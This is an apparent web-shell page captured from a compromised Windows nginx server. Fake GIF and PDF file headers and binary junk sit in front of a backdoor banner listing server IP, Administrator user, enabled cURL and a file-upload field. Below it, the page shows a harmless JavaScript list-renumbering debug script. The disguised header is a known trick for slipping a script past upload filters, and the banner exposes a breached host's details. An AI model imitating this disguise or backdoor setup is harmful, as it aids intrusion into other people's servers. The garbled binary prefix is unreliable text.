GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/js/ |
Upload File : |
// js/ListRenumber.js function ListRenumber() { ch = document.getElementsByTagName("ol")[0].children; // Get the first ol. alert(ch.length); obj = ''; licount = 0; show2 = true; for ( var lis=0; lis<ch.length; lis++ ) { // Loop through the children. obj += 'obj '+licount+'\n'; thisChild = ch[lis]; var property; if ( thisChild.nodeName == 'LI' ) { alert('thisChild['+thisChild['nodeName']+'].innerHTML '+licount+' =\n['+thisChild.innerHTML+']'); if ( show2 ) { ch2 = thisChild.children; obj2 = ''; licount2 = 0; for ( var lis2=0; lis2<ch2.length; lis2++ ) { // Loop through the child's children. obj2 += 'obj '+licount+' obj2 '+licount2+'\n'; thisChild2 = ch2[lis2]; //alert('thisChild['+thisChild['nodeName']+'] '+licount+' thisChild2['+thisChild2['nodeName']+'].innerHTML '+licount2+' =\n['+thisChild2.innerHTML+']'); if ( thisChild2.nodeName == 'LI' ) { thisChild2.value = licount2; // Reset the count. licount2++; // Increase counter } // Loop through all properties. for( property in thisChild2 ) { //document.write("<br>"+j+" is "+obj[j]); //alert(l+" is "+ch[lis][l]); obj2 += property+" is "+thisChild2[property]+"\n"; } obj2 += "\n\n"; } document.getElementById('objd2').innerHTML = obj2; } //thisChild.value = licount; // Reset the count. var LInumber = licount+': '; //var child = document.getElementById('childDiv'); thisChild.innerHTML = LInumber+thisChild.innerHTML; licount++; // Increase counter } // Loop through all properties. for( property in thisChild ) { //document.write("<br>"+j+" is "+obj[j]); //alert(l+" is "+ch[lis][l]); obj += property+" is "+thisChild[property]+"\n"; } obj += "\n\n"; //show2 = false; } document.getElementById('objd').innerHTML = obj; }